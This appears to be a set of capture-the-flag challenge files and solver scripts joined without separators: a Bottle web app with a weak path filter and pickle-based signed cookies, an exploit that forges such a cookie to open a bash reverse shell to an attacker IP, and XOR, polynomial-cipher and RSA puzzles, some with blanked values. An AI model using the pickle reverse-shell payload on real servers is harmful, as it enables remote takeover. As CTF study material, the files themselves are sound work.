from bottle import route, run, template, request, response, error
from config.secret import Vishwa
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=Vishwa)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=Vishwa)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=80)

def cookie_decode(data, key):
    ''' Verify and decode an encoded string. Return an object or None.'''
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

import hashlib
import os
import pickle
import base64
import hmac

Vishwa = "trrrrrrrrrrrrryyyyyyyyyyyharddddddddd"
remote_ip = ""   #填入ip
def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, str) else bytes(s)

class A(object):
    def __reduce__(self):
        s = f"bash -c 'bash -i >& /dev/tcp/{remote_ip}/9999 0>&1'"             
        return (os.system, (s,))

a = A()
s = pickle.dumps(a)
msg = base64.b64encode(s)
sig = base64.b64encode(hmac.new(tob(Vishwa), msg, digestmod=hashlib.md5).digest())

payload = tob('!') + sig + tob('?') + msg
print(payload)
pickle.loads(s)

from PIL import Image
from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

f = open("original.png", "rb").read()
key = [f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7]]

enc = bytearray(xor(f,key))

open('enc.txt', 'wb').write(enc)

from PIL import Image
from itertools import cycle

def xor(a, b):
    return bytes(i^j for i, j in zip(a, cycle(b)))

enc_data = open('enc.txt', 'rb').read()
#0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A -> png
#137, 80, 78, 71, 13, 10, 26, 10 -> jpg
key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]

decrypted_data = xor(enc_data, key)

open('decrypted_image.png', 'wb').write(decrypted_data)

import numpy as np
import random

polyc = [4,3,7]
poly = np.poly1d(polyc)


def generate_random_number():
    while True:
        num = random.randint(100, 999)
        first_digit = num // 100
        last_digit = num % 10
        if abs(first_digit - last_digit) > 1:
            return num


def generate_random_number_again():
    while True:
        num = random.randint(1000, 9999)
        if num % 1111 != 0:
            return num


def transform(num):
    number = random.randint(1, 100000)
    org = number
    number *= 2
    number += 15
    number *= 3
    number += 33
    number /= 6
    number -= org
    if number == 13:
        num1 = random.randint(1, 6)
        num2 = random.randint(1, 6)
        number = num1 * 2
        number += 5
        number *= 5
        number += num2
        number -= 25
        if int(number / 10) == num1 and number % 10 == num2:
            number = generate_random_number()
            num1 = int(''.join(sorted(str(number), reverse=True)))
            num2 = int(''.join(sorted(str(number))))
            diff = abs(num1 - num2)
            rev_diff = int(str(diff)[::-1])
            number = diff + rev_diff
            if number == 1088:
                org = num
                num *= 2
                num /= 3
                num += 5
                num *= 4
                num -= 9
                num -= org
                return num
            else:
                number = generate_random_number_again()
                i = 0
                while number != 6174:
                    digits = [int(d) for d in str(number)]
                    digits.sort()
                    smallest = int(''.join(map(str, digits)))
                    digits.reverse()
                    largest = int(''.join(map(str, digits)))
                    number = largest - smallest
                    i += 1

                if i <= 7:
                    org = num
                    num *= 2
                    num += 7
                    num += 5
                    num -= 12
                    num -= org
                    num += 4
                    num *= 2
                    num -= 8
                    num -= org
                    return num
                else:
                    org = num
                    num **= 4
                    num /= 9
                    num += 55
                    num *= 6
                    num += 5
                    num -= 23
                    num -= org
                    return num
        else:
            org = num
            num *= 10
            num += 12
            num **= 3
            num -= 6
            num += 5
            num -= org
            return num
    else:
        org = num
        num += 5
        num -= 10
        num *= 2
        num += 12
        num -= 20
        num -= org
        return num


def encrypt(p,key):
    return ''.join(chr(p(transform(i))) for i in key)


key = open('key.txt', 'rb').read()
enc = encrypt(poly,key)
print(enc)

import numpy as np
import random

polyc = [4,3,7]
poly = np.poly1d(polyc)

def encrypt(p,key):
    return ''.join(chr(p(i)) for i in key)

key = open('key.txt', 'rb').read()
enc = encrypt(poly,key)
print(enc)

from itertools import product
from itsdangerous import base64_decode, base64_encode
from tqdm import tqdm
import numpy as np
import random

polyc = [4,3,7]
poly = np.poly1d(polyc)
def encrypt(p,key):
    # 
    return ''.join(chr(p(i)) for i in key)

dic={}
for new_key in tqdm(product(range(256))):
    key=bytes(new_key)
    enc = encrypt(poly,key)
    dic[enc] = key
    
example_enc = "☞➭⥄⫣Ⲋ⸹⿰ㆯ㍶☞⒗☞☞☞➭☞⥄☞⫣☞Ⲋ☞⸹☞⿰☞ㆯ☞㍶➭⒗➭"
p=b''
for i in example_enc:
    p+=dic[i]
print(p)

# my secret to hide the combination of my safe in fornt of all without anyone getting a clue what it is ;)

#some boring python function for conversion nothing new
def str_to_ass(input_string):
    ass_values = []
    for char in input_string:
        ass_values.append(str(ord(char)))
    ass_str = ''.join(ass_values)
    return ass_str

input_string = input("Enter the Combination: ")
result = str_to_ass(input_string)
msg = int(result)

#not that easy, you figure out yourself what the freck is a & z
a =
z =

f = (? * ?) #cant remember what goes in the question mark
e = #what is usually used

#ohh yaa!! now you cant figure out $h!t
encrypted = pow(msg, e, f)
print(str(encrypted))

#bamm!! protection for primes
number =
bin = bin(number)[2:]

#bamm!! bamm!! double protection for primes
bin_arr = np.array(list(bin), dtype=int)
result = np.sin(bin_arr)
result = np.cos(bin_arr)
np.savetxt("file1", result)
np.savetxt("file2", result)

def ass_to_str(input_string):
    result = ''
    for i in range(0, len(input_string), 2):
        code_point = int(input_string[i:i+2])

        result += chr(code_point)
    return result

#cos
#cos(1)=0.5...
#cos(0)=1
first=""
with open('file1.txt', 'r') as file:
    for line in file:
        if int(line[0]) == 1:
            first=''.join([first,"0"])
        else:
            first=''.join([first,"1"])

#sin
#sin(1)=0.8
#sin(0)=0
print()
second=""
with open('file2.txt', 'r') as file:
    for line in file:
        if int(line[0]) == 0:
            second=''.join([second,"0"])
        else:
            second=''.join([second,"1"])
# sol RSA
p=int(first, base=2)
q=int(second,base=2)

n=p*q
enc=4400037514278889258479265625258024039636437755883377709505596356049534358755375772484057042989024750972247184288820831886430459963472328358741858934783775986591400972020736548834642094922678189447202173710409868474198821576627330424767999152339702779346380
e=65537
d= pow(e,-1,(p-1)*(q-1))

m=pow(enc,d,n)
print(m)
print(ass_to_str(str(m)))

from PIL import Image, ImageDraw

with open("5ecr3t_c0de.txt", "r") as f:
    lines = f.readlines()
    coordinates = [tuple(map(int, line.strip("()\n").split(", "))) for line in lines]

def generate_image(coordinates):
    max_x = max(coord[0] for coord in coordinates)
    max_y = max(coord[1] for coord in coordinates)
    new_image = Image.new("RGB", (max_x + 1, max_y + 1), color="white")

    draw = ImageDraw.Draw(new_image)
    for coord in coordinates:
        draw.point(coord, fill="black")

    return new_image

new_image = generate_image(coordinates)
new_image.show()